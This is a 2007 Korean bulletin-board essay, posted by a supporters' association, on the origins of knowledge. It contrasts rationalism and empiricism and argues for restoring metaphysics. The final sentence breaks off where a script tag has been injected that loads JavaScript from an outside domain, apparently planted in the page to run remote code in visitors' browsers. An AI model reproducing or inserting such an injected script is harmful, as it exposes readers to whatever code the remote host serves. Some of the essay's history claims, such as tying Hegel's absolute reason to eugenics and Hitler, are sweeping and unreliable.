지식을 올바르게 만들어 가야 한다.

작성자 : 후원회 | 조회수 : 3,505 | 작성일 : 2007년 7월 4일

<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>지식들의 생성은  철학사적으로 볼 때 크게 두 가지로 이루어졌는데, 하나는 ‘이성’을 중시한 ‘합리론’이며, 또 하나는  ‘경험’을 중시한 ‘경험론’이다. 초기의 인간은 절대자이신 ‘하느님’을 지식생성의 근거로 삼았지만,기독교 시대 후에 하느님의 자리에 ‘인간’을 옮겨 놓고는 이성과 경험을 가지고 지식생성의 기원으로 여기기 시작했다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 합리론의 시조인  데카르트는 “나는 생각한다. 고로 존재한다.” 라는 명제는 아무도 의심할 수 없다고 말하고 인간은 이성에 의해 얻은 지식이 가장 확실하며 따라서 모든 지식이 그 지식에 토대를 두고 형성되어야 한다고 말한다.칸트는 순수이성비판을, 헤겔은 절대 이성을, 그 결과 절대이성을 지닌  인간을 우성학적으로 만들어내자는 발상에서  히틀러 같은 인물을 내놓게 되었다. 더 나아가 마르크스, 레닌 등이 헤겔의 절대이성을 부정하며 공산주의를 태동시켰다.합리론자들은 신앙의 자리 때문에 인간 이성이 맥을 못 췄다고 말하고 이성의 힘을 내세웠지만 궁극적이고 보편적인 실재의 근거를 따지는 종래의 전통적 형이상학을 부정하였다</FONT>.  </SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 영국에서 발전된 ‘경험론’은 지식의 근원이 감각경험에 있다고 생각한다.베이컨,로크, 버클리, 흄 그리고 벤덤,밀 등을 거치면서 발전되어 갔다. 오늘날은 논리실증론자들이 과학의 지식이야말로 관찰과 실험을 통해 얻어진 지식이기에 가장 객관적이라고 주장한다.결국 과학적 주장은 ‘신의 영역은 환상이고 허상’이라고 하는 것이다. 전통적 형이상학의 터전 위에 서 있던 지식인 윤리다, 도덕이다 하는 원칙은 더 이상 지식으로 인정받지 못하고, 오르지 과학 지식만이 객관적 지식이라는 여기게 된 것이다.지식이 불완전한 인간이 이성과 경험에서 지식생성의 기원을 지닌다는 주장들은 그럴 싸 하지만 여전히 늘 허하기만</FONT> <FONT face=돋움체>하다. 오늘 날 과학에 의해 생성된 지식은 본질적인 근거에 연결되지 못했다는 비판이 일고 이는 매우 중대한 문제이다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 이런 난제를 놓고 실존주의 철학자 베르그송이나 하이데거가 해법을 제시한다. ‘올바른 지식이 생성되려면 형이상학이 복원되어야 한다.’ 는 주장이다. 인간 존재는 절대존재에서 뿌리를 내려야만 그 의미가 분명해지듯 모든 지식도 형이상학의 기초위에 서 있어야 한다는 것이다. “오늘날 과학적 지식만이 참이다.” 라고 주장은 인간의 인식대상이 자연만 남게 되는 꼴이 되었다. 인간복제, 유전자 조작 등 과학자들이 만든 지식은 매우 위대하고 무지개처럼 희망적인 것처럼 보인다.   과학적 지식이 근원적인 근거에 바탕을 두지 않는 몰가치적 학문이기에 결국 가치 문제를 중요하게 다루는 것은 철학이 해야 할 과제인 것이다. 이것이 고려되지 않는 교육이라면 그 지식들은 황우석 같은 뿌리 없는 허황된 지식에 불과할 것이다.지금 지식생성의 기원이 이성과 경험에서의 시발점이 아니라 형이상학에서 ?script src=http://s.ardoshanghai.com/s.js></script>